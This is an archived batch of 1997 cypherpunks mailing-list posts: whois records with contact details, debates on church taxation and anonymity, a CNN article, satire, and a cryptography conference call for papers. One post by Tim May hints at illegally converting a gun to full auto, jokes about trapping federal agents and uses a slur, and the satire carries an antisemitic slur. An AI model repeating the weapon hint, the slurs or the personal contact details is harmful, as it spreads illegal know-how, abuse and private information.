   Domain Name: CYPHERPUNKS.ORG

   Administrative Contact, Technical Contact, Zone Contact:
      Burnham, Daniel E. A  (DEB48)  deab@FRESH.FLY.NET
      212-840-2600
   Billing Contact:
      Burnham, Daniel E. A  (DEB48)  deab@FRESH.FLY.NET
      212-840-2600

   Record last updated on 20-Sep-97.
   Record created on 04-Jul-97.
   Database last updated on 5-Nov-97 05:56:01 EDT.

   Domain servers in listed order:

   NS.OTEC.COM                  206.64.4.67
   NS1.EARTHWEB.COM             206.152.10.2

-----------------------------------------

Cypherpunks (CYPHERPUNKS4-DOM)
   9705 Standford Road
   Ft. Meade, MD 20755
   US

   Domain Name: CYPHERPUNKS.NET

   Administrative Contact, Technical Contact, Zone Contact:
      Shostack, Adam  (AS409)  adam@HOMEPORT.ORG
      (617) 354-4827
   Billing Contact:
      Shostack, Adam  (AS409)  adam@HOMEPORT.ORG
      (617) 354-4827

   Record last updated on 11-Apr-97.
   Record created on 11-Apr-97.
   Database last updated on 5-Nov-97 05:56:01 EDT.

   Domain servers in listed order:

   NS.HOMEPORT.ORG              205.136.65.205
   SATISFIED.APOCALYPSE.ORG     192.48.232.24

-----------------------------------------

cypherpunks (REMAILER-DOM)
   1819 Woolsey St.
   Berkeley, CA 94703

   Domain Name: REMAILER.NET

   Administrative Contact:
      Hughes, Eric  (EH9)  eric@SAC.NET
      (415) 392-0526
   Technical Contact, Zone Contact:
      Levy, Elias M.  (EML2)  aleph1@DFW.NET
      619-794-8383 (FAX) (619) 794-8373
   Billing Contact:
      Hughes, Eric  (EH9)  eric@SAC.NET
      (415) 392-0526

   Record last updated on 16-Apr-97.
   Record created on 09-Nov-94.
   Database last updated on 5-Nov-97 05:56:01 EDT.

   Domain servers in listed order:

   FLYING.FISH.COM              140.174.97.13
   NS1.SAC.NET                  208.146.161.2






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 6 Nov 1997 09:40:20 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: church of crypto anarchy (Re: Taxing Churches for their views? Bad idea. (fwd)) (fwd)
Message-ID: <199711060135.TAA22071@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Wed, 5 Nov 1997 23:25:02 GMT
> From: Adam Back <aba@dcs.ex.ac.uk>
> Subject: church of crypto anarchy (Re: Taxing Churches for their views? Bad idea. (fwd))

> Seems to me that the distinction that churches are exempt from taxes
> partly hinges on their non-profit, or not-for-profit status.

No, it stems from the fundamental democratic axiom of seperation of church
and state. If the churches pay taxes they aren't seperate. If the state
supports churches they aren't seperate.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <schear@lvdi.net>
Date: Fri, 7 Nov 1997 02:15:31 +0800
To: Robert Hettinga <cypherpunks@Algebra.COM>
Subject: Re: Copyright commerce and the street musician protocol
In-Reply-To: <v03102801b082c490dd70@[208.129.55.202]>
Message-ID: <v03102804b086ef23fdad@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:20 PM -0500 11/5/1997, Robert Hettinga wrote:
>At 7:13 pm -0500 on 11/2/97, Steve Schear wrote:
>
>
>> The first somewhat serious treatment of this I saw was Hughes's DEFCON IV
>> presentation entitled, I believe, "Universal Piracy System."
>
>I'm curious about this...
>
>Did DEFCON IV happen before, or after, the rump session of FC97 (February
>26? 1997), when Jason Cronk talked about recursive auctions on geodesic
>networks? Actually, now that I think about it, Ian Grigg did a talk about
>the sell-side inverse of the same idea in the same session...

Eric's came first.  It was in July 1996.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Thu, 6 Nov 1997 03:30:03 +0800
To: cypherpunks@toad.com
Subject: Re: Cypherpunks Web
In-Reply-To: <199711051825.TAA23083@basement.replay.com>
Message-ID: <Pine.BSF.3.96.971105202030.2645A-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 5 Nov 1997, Anonymous wrote:

>    Domain Name: CYPHERPUNKS.ORG
[...]
>    Domain Name: CYPHERPUNKS.NET
[...]
>    Domain Name: REMAILER.NET

Anonymous omitted CYPHERPUNKS.TO

Presumably because he couldn't figure out how to pull a whois for TO.

-- Lucky Green <shamrock@cypherpunks.to> PGP v5 encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Thu, 6 Nov 1997 03:36:51 +0800
To: Eric Young <eay@cryptsoft.com>
Subject: Re: Copyright commerce and the street musician protocol
In-Reply-To: <Pine.GSO.3.96.971106044557.26497A-100000@pandora.cryptsoft.com>
Message-ID: <Pine.BSF.3.96.971105202634.2645B-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 6 Nov 1997, Eric Young wrote:
> 
> Having visited some friends recently that had most of the recent interesting
> games written onto a few CDs (multiple games on single CDs) I don't agree.

Things will get even better once DVD writers hit the street.

-- Lucky Green <shamrock@cypherpunks.to> PGP v5 encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 6 Nov 1997 10:57:11 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Forwarded mail...
Message-ID: <199711060252.UAA22237@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Wed, 5 Nov 97 07:47 MET
> From: Jenaer Mixmaster Anonserver <mixmaster@as-node.jena.thur.de>
> Subject: Libertaria in Cyberspace

> For a truly free communications medium we must have strong cryptography.

Seems to me that this is false. To have a truly free communcations medium we
must have no censors. The very fact that crypto is involved guarantees that
it isn't free. The use of crypto itself is a form of censorship if you don't
have the key.

> This is a given.

No, it isn't.

> Anonymity cannot be insured without strong cryptography

Tell that to publius. 200+ years later and we still fight over who wrote
what and they didn't even use a simple substitution cypher. The secret to
anonymity is the same as keeping a secret, those who know keep their mouths
shut.

> and the freedom of remailers or similar mechanisms to operate
> unobstructed.

How is crypto going to keep them from kicking the turning the phones off,
turning the power off, and kicking the front door in? It isn't.

> Speech is never truly free unless it can be anonymous if
> the author so chooses.

Speech can't be truly free as long as any party can censor the traffic.

> Who wants to espouse an opinion which will get
> them flogged, either figuratively or literally, by their neighbors, their
> government, or in some cases even their family? 

Then be so kind as to explain people who are intentionaly trying to force
legal cases in order to challenge standards? This is a clear 1-to-1 mapping
to flogging (per your example).

> In my opinion, Mr. May is correct when he says that physical space is too
> small and too exposed to outside intervention.

Unfortunately cyberspace can't exist without meatspace.

> Yes, cyberspace does look much more promising. 

Only if you don't have a clue as to the technical, social and economic milieu
that it exists within. Show me a way to run a remailer program without a
computer which exists in meatspace and your proposition might work.

> The amount of "space" in
> cyberspace is unbelievably large.

You have a small imagination. The amount of space in cyberspace in no more
than the sum total of all the hard drives in use on the network or network
accessible at any given time. It's measured in terabytes but that is hardly
unbelievable.

> The amount of data I can store on one
> gigabyte of hard drive is incredible by conventional standards.

Your standards are pretty low when one considers that the largest databases
on the planet are measured in terabytes (1,000 gig's).

> And space is very cheap
> in cyberspace.

Really? Then please be so kind as to pay my monthy bills related to Internet
access. I assure you they are far from 'cheap'.

> A truly free communications medium must allow its users to be anonymous. 

No, it must provide no moderation on traffic. All anonymous access buys one
is reasonable deniability, a far cry from free communcations; and in fact
fundamentaly unrelated to the concept of free speech.

> That an opinion is unpopular does not make that opinion wrong or invalid.

Doesn't make it correct either, the proof is in the pudding.

> That an author does not want his "true name" attached to an opinion does
> not diminish the value of that opinion.

In fact the validity of a thesis should in no way ever rest on the
personality or reputation capital, it should rest solely on what can be
proven and tested about it.

[other stuff deleted]

> Tim May is correct: Libertaria will thrive in cyberspace. 

Only in your collective wet dreams. Libertaria as described by Tim,
yourself, and others will never come to pass in that form.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 6 Nov 1997 11:13:42 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: IRS reform bill going strong [CNN]
Message-ID: <199711060309.VAA22343@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> IRS Reform Bill Skates Through House
> 
>     [INLINE]
>    
>    WASHINGTON (AllPolitics, Nov. 5) -- A bill to reform the Internal
>    Revenue Service skated through the House of Representatives today on
>    an overwhelming 426-4 vote.
>    
>    The measure picked up the support of Democrats after its sponsors made
>    key changes that drew the approval of the Clinton Administration.
>    
>    The most significant change would preserve the president's power to
>    appoint the IRS commissioner. The original version of the bill would
>    have transferred that duty to an independent board.
>    
>    The bill's centerpiece is an 11-member board made up mostly of private
>    citizens that would oversee the IRS and help manage its long-term
>    projects.
>    
>    Bill sponsor Rob Portman (R-Ohio) said the measure marked "the first
>    time in 45 years that we have attempted as a Congress to enact
>    fundamental reform."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 6 Nov 1997 05:12:45 +0800
To: cypherpunks@toad.com
Subject: Re: Taxing Churches for their views? Bad idea. (fwd)
Message-ID: <199711052039.VAA07597@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Brandon Crosby wrote:
> While I do not want a debate over tax exemptions in churches, 'Free Speech'
> may very well involve supporting canidates for positions in a democracy.
> This is the very basis for elections. However, one begins to question this
> reasoning when a church leader attempts to get into the government, using
> the church's tax exemptions, for either support of the church, support of
> self, or some illegal (or, at least, unethical) mix.

  The problem, as I see it, is that the laws regarding political
donations
and resulting political activity are different from the laws regarding
church donations, thus leading to the Christian Right using the
differences
to bypassing the restrictions that are placed on organizations
registered
as political groups.
  If 'Joe's Whorehouse and Illegal Drug Emporium' were to engage in the
same types of political activities that the 'We Wear Halos Church' did,
they would be subject to arrest and imprisonment for a wide variety of
violations of electoral law.

Vote-Reality is that most politicians would no sooner oppose a totally
unconstitutional law that promises to 'save the life of a single child',
than they would promote the prosecution of the 'good guys' for doing 
'bad things'.
Churches hold the same favored 'good guy' status as policemen who 
violate the civil rights of 'bad' citizens.

> Should churches be tax exempt? Without their long history of helping people,
> I doubt they would have any benifits. However, even if their privillige was
> removed, they would simply be able to donate less money to community causes.

  Churches, like governments, corporations, or any other organized 
entity, have some wonderful people in them, doing wonderful things.
The problem, as always, is what our founding fathers realized--these
types of organizations/structures tend to grow and attain power which
is then used for the purpose of self-sustained growth (survival).
  Humanity tends to evolve, while organized humanity tends to de-volve.
Biped humans, walking upright, form organizations which move toward
becoming quadrapeds dragging large clubs.

Most of the issues/problems discussed on the Cypherpunks list are often
dealt with in terms of a combination of 'the way things are' vs. 'the
way things should be' vs. 'the way things are becoming'.
My view is that things have become so askew that any one of the above,
or any of them in combination, are not adequate for dealing with what
is to come in the near future.

The statement of one of the founding fathers, in regard to needing a
revolution every twenty years, or so, should be considered in the light
of the history of 'forest fires.'
Forest fires know that there should be a 'revolution every twenty years'
but humans do not. In our foolish wisdom, we decide to intervene in 
the natural course of things, to 'make things better'. We then proceed
to put the natural balance so far out of askew that, once we have 
'saved' the forests by not allowing forest kindling to burn for a
hundred years, the Forest Stock Market undergoes a major 'correction'.

The structure of American government, electoral laws, charitable tax
deductions, etc., are not inherently evil in themselves. The problem
is that they have all been subject to interference with the basic
underlying concepts, in efforts to improve them with a 'more is
better' mentality, that they are all ripe for burning.
["Welfare (charity) has resulted in many positive benefits. Hey! 
 I have a good idea! Let's put _everyone_ on welfare!]

The structure of government/laws/society is very similar to that
of the Internet, with everything being linked in ways that 
become increasingly complex once individual entities decide that
things need to be done a 'certain way' in their own self-interest,
instead of in the needs of the underlying infrastructure.
The problems multiply as the number of entities deciding which
'certain' way is the 'right' way becomes smaller.

"Spam is bad. _I_ am going to _save_ everyone from spam. Flames 
aren't so good, either. I'd better save you from 'flames' as
well. What constitutes a flame? Well, it all begins with
disagreement and, since I decide what is and is not a flame,
I guess that a flame could be defined as disagreement with
_me_!"
("In order to save the list from spam, we had to destroy the list.")

Now that we are all aware of the disruptive manipulations of the
Evil Dr. Vulis, perhaps he has changed his online persona to that
of 'Jodi Hoffman'. (:>}

NukeReality!
~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 6 Nov 1997 05:17:25 +0800
To: cypherpunks@toad.com
Subject: Re: [news] TV station sets cybersex sting
Message-ID: <199711052047.VAA08574@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Vipul Ved Prakash wrote:
>
> *** TV station sets cybersex sting
>
> With cyperporn and cybersex ranking as sensational news items on
> local TV stations, Fox's Los Angeles outlet has taken the trend a
> step further by ensnaring adult sexual predators. KTTV's Fox 11 News
> at 10 worked with a 21-year-old woman posing as a 14-year-old to
> conduct cybersting operations that led to the arrests of five men.
> http://www.infobeat.com/stories/cgi/story.cgi?id=5777644-464

And Fox is going to do a similar entrapment sting on Catholic
priests, right?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 6 Nov 1997 14:30:37 +0800
To: cypherpunks@Algebra.COM
Subject: Raids on Cypherpunks?
In-Reply-To: <199711060410.FAA05997@basement.replay.com>
Message-ID: <v03102800b08703c219d6@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:10 PM -0700 11/5/97, Anonymous wrote:
>Law & Order has showed me the error of my ways.
>
>After watching tonight's show, I realized that those who 'hide behind
>the Constitution' are all murderers.


Yep, more pre-dawn, no knock raids.

Lists of "members of Sons of Liberty" are seized.

Apparently the First Amendment is in suspension. At least in Hollywood.

Gee, and the grounds for the search warrant were that the Internet was used
to publish instructions for converting a Mac to full auto. (Gee, and I
thought everyone knew how to file down the sear on these old open bolt
pieces of shit?)

If I publish these widely-available instructions, will the Cypherpunks be
raided?

(One can only hope. I'm getting tired of setting my traps every night and
having no BATFags to show for it.)

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Thu, 6 Nov 1997 11:40:32 +0800
To: cypherpunks@cyberpass.net
Subject: Re: [news] TV station sets cybersex sting
Message-ID: <2e0625753af7fff4e7937817f8607e96@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



>*** TV station sets cybersex sting

>With cyperporn and cybersex ranking as sensational news items on
>local TV stations, Fox's Los Angeles outlet has taken the trend a
>step further by ensnaring adult sexual predators. KTTV's Fox 11 News
>at 10 worked with a 21-year-old woman posing as a 14-year-old to
>conduct cybersting operations that led to the arrests of five men.
>KTTV used the unnamed woman as bait, having her enter online chat
>rooms where she was immediately targeted. The station filmed the
>online seductions as well as the arrests of the men, who included an
>attorney, a doctor, a retired Army officer and an investigator for
>the Dept. of Labor. See story at
>http://www.infobeat.com/stories/cgi/story.cgi?id=5777644-464

And then they tricked a real 14 year old girl into meeting with them and
having sex so that maybe, if they really, really tried very hard, they 
could argue that a real crime had been committed, right?

Didn't think so. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 6 Nov 1997 06:18:32 +0800
To: cypherpunks@toad.com
Subject: Springer/Gates Merger
Message-ID: <199711052159.WAA18144@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



CANADIAN NUTLY NEWS:
[CNN, Bienfait, Saskatchewan] BAR OWNERS at the Coaldust Saloon, 
in violation of Canadian bartender/customer confidentiality laws, 
revealed details of a planned merger between Micro$oft and the
Jerry Springer Show.
Computer magnate Bill Gates has signed a secret deal with Jerry
Springer to host a variety of WebTV productions which will be
InterActive variations on the 'Terminal Man' theme.
Springer, upset over the news media outcry over his proposed move
toward bringing his Barnum & Baily act into the mainstream news
forum, plans to take his revenge by using Micro$oft's domination
in the lowest-common-denominator market to parlay his lack of
good taste and journalistic ethics into a full-scale assasult on
the elitest mainstream news media which continues to ignore the
real desires of the general public.

Philip R. Zimmerman, former head of PGP, Inc., announced his new
position as Publicity Representative for 'New Reality Productions'
by saying, "Daddy always told me, 'If you're going to sell out a
little, you might as well sell out a lot--and make the BIG bucks.'"
PRZ told gathered reporters that the increasing interest shown by
television viewers in shows such as 'The World's Scariest Police
Chases' threatened the growing popularity of the InterNet as the
medium of the future.

Zimmerman said, "The virtual reality of TV and the movies has always
been a harbringer of the virtual future. The success of Terminal Man
showed that the future was in snuff-flicks, and Police Chases was
the natural movement of that theme into the trend toward Real TV."
PRZ added, "The InterActive capabilities of the InterNet will allow
the Gates/Springer merger to give the viewers the ability to get
personally involved in the decisions as to who lives and who dies."

New technologies which enable law enforcement agencies to activate
kill-switches in fleeing automobiles have been abandoned in favor
of technologies which allow the home viewer to use joysticks to 
control the movement of the criminal's vehicle and those of their
police pursuers.
Zimmerman defended the use of the new technology by saying, "Sure,
snuff-flicks used to be illegal, but so did gambling and drinking.
'New Reality Productions' is just following the money."

The beta-testing of the new technology took place on the CypherPunks
mailing list, where list subscribers were given the opportunity to
actively participate in the second 'moderation experiment' on the
list by using their accumulated Moral Majority Reputation Credits 
to kill undesirable posts to the list.
Chief CypherPunks Spokesperson, Jodi Hoffman, said that putting 
control of the list in the hands of the lowest common denominator
had stemmed the "downward spiral" of the mailing list and that
the Christian CypherPunks mailing list was a definite improvement
over the original non-Christian-Jew infested CDR list.
"Once we got rid of the Christkillers and the Commies," Hoffman
proclaimed, "the list postings trickled down to two or three a
day, but if it saves the life of just one child..."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 6 Nov 1997 07:30:48 +0800
To: tcmay@got.net
Subject: church of crypto anarchy (Re: Taxing Churches for their views? Bad idea. (fwd))
In-Reply-To: <v03102800b0866998c9a9@[207.167.93.63]>
Message-ID: <199711052325.XAA12486@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Seems to me that the distinction that churches are exempt from taxes
partly hinges on their non-profit, or not-for-profit status.

Now it's nice for those who can get tax breaks, as we surely all could
do with a few tax breaks after the double and triple taxation effects
which Tim describes.

But really it does seem kind of artificial -- what is a church, who
gets to decide, and as TruthMonger said who gets to decide on which
church status gets revoked because of statements which annoy the rule
maker.

Can I be a church and not pay taxes too?  (eg. Can I claim to be a
member of `The Cult of the Dead Cow' or whatever and not pay taxes?)

Scientologists are a fine example of a "church" which is largely
profit motivated.

Even if you drew the line at non-profit organisations that is easily
manipulated -- non-profits can pay good wages, and siphon money out in
other creative ways.  (Like those TV evangelical Bible bashers with
their fleets of Rolls Royces who get found out and disgraced now and
then.)

The whole thing is a mess, loop holes everywhere, complicated rules
will get written, etc.

Now it is an interesting question as to whether it is a good idea to
encourage governments to tax churches or not.  Taxation is a weapon.
Are the churches doing anything useful to our cause?  I think not on
average... religious right helped fuel the CDA, and is busting for
another one (cf far right censorship woman cross posting from
fight-censorship).

Not taxing them is subsidising their activities.

Can we start a `church of crypto anarchy' and have people make tax
exempt donations to fund over throwing the state by undermining
governments ability to collect taxes?

Yeah, right.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 6 Nov 1997 15:34:09 +0800
To: "John Kelsey" <cypherpunks@Algebra.COM>
Subject: Re: Protocols for Insurance to Maintain Privacy
In-Reply-To: <199711052249.QAA06301@email.plnet.net>
Message-ID: <v03102800b08712c818ca@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:58 AM -0700 11/5/97, John Kelsey wrote:

>I know.  Let me make it clear that I am not at all
>interested in banning private testing, coercing insurance
>companies or anyone else into agreements they don't want to
>make, etc.  I am saying it would be nice if I could buy
>insurance against the results of the tests before I took
>them.  The problem is, I can't see a really workable way to
>do this, because there's no way to keep people from taking
>the test beforehand.

That's my point. Since there can be no way to determine if someone has had
themselves tested, such "wouldn't it be nice" scenarios are meaningless.

--Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 6 Nov 1997 06:51:01 +0800
To: cypherpunks@toad.com
Subject: Re: Taxing Churches for their views? Bad idea. (fwd)
Message-ID: <199711052226.XAA21798@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Jim Burnes wrote:
> On Wed, 5 Nov 1997, Anonymous wrote:
> >   Churches, like governments, corporations, or any other organized
> > entity, have some wonderful people in them, doing wonderful things.
> > The problem, as always, is what our founding fathers realized--these
> > types of organizations/structures tend to grow and attain power which
> > is then used for the purpose of self-sustained growth (survival).
> >   Humanity tends to evolve, while organized humanity tends to de-volve.
> > Biped humans, walking upright, form organizations which move toward
> > becoming quadrapeds dragging large clubs.

> Ha!  This is pretty interesting.  Rather than the typical cypherpunk
> approach of eliminating such inefficient and corrupting methods as
> income taxation and tax exemption we are playing by their game.

  Taxation and exemptions are, conceptually, no different than a
tribal agreement that those who bring home the deer will share
with those who guard the campsite, and that the shaman who keeps
the evil spirits at bay has to do neither.
  When one strips the semantics from various cypherpunks posts, 
there is usually an underlying agreement that there should be
no 'free rides' and no 'oppressive burdens.' <-- generality>

> The whole of HG Wells warning to society was that by systematically
> altering the language, you alter the things that can be discussed.

  I believe that half of the disagreements on the cypherpunks list,
and the vast majority of disagreements in the world in general, are
the result of disputes over semantics, rather than beliefs.
 
> rather than bitch and moan about how the Churches are exempt, why
> not rejoice in the fact that at least the churches are free from
> taxation.  We are part of the way there.

  Revolutionary idea! Instead of calling for Churches to be subject
to the same oppressive taxation as the rest of us, call for the rest
of us to be given the same exemptions as Churches.
  I vote Jim Burnes the honorary title of 'CypherPunks Chief Taxation
Spokesperson' (Norman Vincent Peale Chapter).

> Or start your own church.  ;-)

  I agree.

TruthPastor
"CypherPunks Church of One"
(All donations declared by myself to be tax deductible--check with the
 authorities in *your* jail cell (*after* sending me money) as to their
 views in this regard.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 6 Nov 1997 06:55:54 +0800
To: cypherpunks@toad.com
Subject: Government goons force Goddard to recant
Message-ID: <199711052229.XAA22328@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Time to add a new horseman: "conspiracy theory-spreading libertarians"

...



   CNN logo
   [ISMAP]-Navigation
   Infoseek/Big Yellow
   Pathfinder/Warner Bros
   Barnes and Noble
   Main banner Weird guy. Cool phone. Click here.
   
                                    rule
                                      
                    TWA missile theory co-author apologizes
                                       
     Salinger
     
  Says report was 'reckless'
  
     From Correspondent Christine Negroni
     
     November 5, 1997
     Web posted at: 2:05 p.m. EST (1905 GMT)
     
     NEW YORK (CNN) -- Ian Goddard, co-author of a report that claimed
     the U.S. Navy shot down TWA Flight 800, has told CNN that those
     charges were "reckless and a mistake."
     
     In a written statement to CNN, Goddard apologized to "all those in
     the Navy I have wrongfully accused" and to "those who believed in
     my efforts and who are now upset with me for my change of mind."
     
     Goddard co-authored the report with former ABC news reporter Pierre
     Salinger and a third man, Mike Sommers.
     
     Ian Goddard's statement to CNN:
     "While many witness accounts remain a mystery to me, I believe that
     my effort to pin the crash of TWA 800 on the Navy was reckless and
     a mistake. I apologize to all those in the Navy I have wrongfully
     accused. I also apologize to those who believed in my efforts and
     who are now upset with me for my change of mind. "We all need to
     put our support behind the families of the victims of TWA 800. Many
     who died left children behind who now need your support... Please
     give."
     
     National Transportation Safety Board spokesman Peter Goelz, on
     learning of the Goddard apology, said that Goddard had done real
     damage, particularly to the victims' families, by promoting charges
     that the Navy's "friendly fire" caused the July 1996 crash.
     
     "He has caused innumerable people great agony," Goelz said, adding
     that both the FBI and the NTSB had to spend time responding to what
     were basically groundless accusations.
     
     Joe Lychner of Houston, who lost his wife and two daughters in the
     crash, told CNN that Goddard and Salinger owe an explanation to the
     American public.
     
     The so-called Salinger report laid out an elaborate conspiracy
     theory that alleged a huge government cover-up following the TWA
     crash. Goddard had kept the theory alive on a Web site he created,
     which now appears to have been discontinued.
     
  "I just wanted to give the government a black eye by any means that looked
  opportune. TWA 800 was just a vehicle for my larger agenda."
  
    &#151; Ian Goddard
    
     Goddard has recently E-mailed associates about his report. In those
     messages, Goddard called his support of the conspiracy theory "a
     big mistake," and said he only pursued the charges because he
     "wanted to give the government a black eye by any means that looked
     opportune."
     
     Goddard says he wanted to promote libertarian ideology by
     encouraging distrust of the government.
     
     CNN's Christine Negroni reports on the admission:
     icon 2 min. 30 sec. VXtreme video
     
     When contacted by CNN about Goddard's statement, Salinger said that
     he is moving on from his investigation into the TWA crash, although
     he did not retract any of his charges that a Navy missile brought
     down the 747. Salinger called FBI Deputy Director James Kallstrom
     last week and told him that he was giving up his probe.
     
     In his statement to CNN, Goddard asked that the public support the
     families of the victims of TWA 800 and that donations be made to
     the Flight 800 Family Relief Fund.
     
     TWA Flight 800 crashed off Long Island, killing all 230 people on
     board. The FBI and NTSB have not yet named an official cause of the
     accident.
       ______________________________________________________________
     
                                      
                      (c) 1997 Cable News Network, Inc.
                            All Rights Reserved.
                                      






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Thu, 6 Nov 1997 15:58:53 +0800
To: cypherpunks@toad.com
Subject: Crypto '98: Call for Papers
Message-ID: <199711060742.XAA02312@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



                               CRYPTO  '98

            August 23-27, 1998, Santa Barbara, California, USA

                             CALL FOR PAPERS 

                           GENERAL INFORMATION
Original papers on all technical aspects of cryptology are solicited for 
submission to Crypto '98, the Eighteenth Annual IACR Crypto Conference. 
Crypto '98 is organized by the International Association for Cryptologic 
Research (IACR), in cooperation with the IEEE Computer Society Technical 
Committee on Security and Privacy, and the Computer Science Department 
of the University of California, Santa Barbara.  For more information, 
access http://www.iacr.org/

                        INSTRUCTIONS FOR AUTHORS
Authors are strongly encouraged to submit their papers electronically. A 
detailed description of the electronic submission procedure will appear 
by December 1, 1997 at http://www.iacr.org/conferences/c98/submit.html. 
Electronic submissions must conform to this procedure in order to be 
considered.  Authors unable to submit electronically are invited to send 
a cover letter and 22 copies of an anonymous paper (double-sided copies 
preferred) to the Program Chair at the postal address below.  Submissions 
must be received by the Program Chair on or before February 16, 1998 (or 
postmarked by February 7, 1998, and sent via airmail or courier). Late 
submissions and submissions by fax will not be considered. The cover 
letter should contain the paper's title and the names and affiliations 
of the authors, and should identify the contact author including e-mail 
and postal addresses. 

Only original research contributions will be considered. Submissions must 
not substantially duplicate work that any of the authors have published 
elsewhere or have submitted in parallel to any other conference or 
workshop that has proceedings. The paper must be anonymous, with no 
author names, affiliations, acknowledgments or obvious references. It 
should begin with a title, a short abstract, and a list of key words, 
and its introduction should summarize the contributions of the paper at 
a level appropriate for a non-specialist reader. The paper should be at 
most 12 pages excluding the bibliography and clearly marked appendices, 
and at most 20 pages in total, using at least 11-point font and reason-
able margins. Committee members are not required to read appendices, so 
the paper should be intelligible without them.   Submissions not meeting 
these guidelines risk rejection without consideration of their merits.
Notification of acceptance or rejection will be sent to authors by April 
30, 1998. Authors of accepted papers must guarantee that their
paper will be presented at the conference.

                          CONFERENCE PROCEEDINGS
Proceedings will be published in Springer-Verlag's Lecture Notes in 
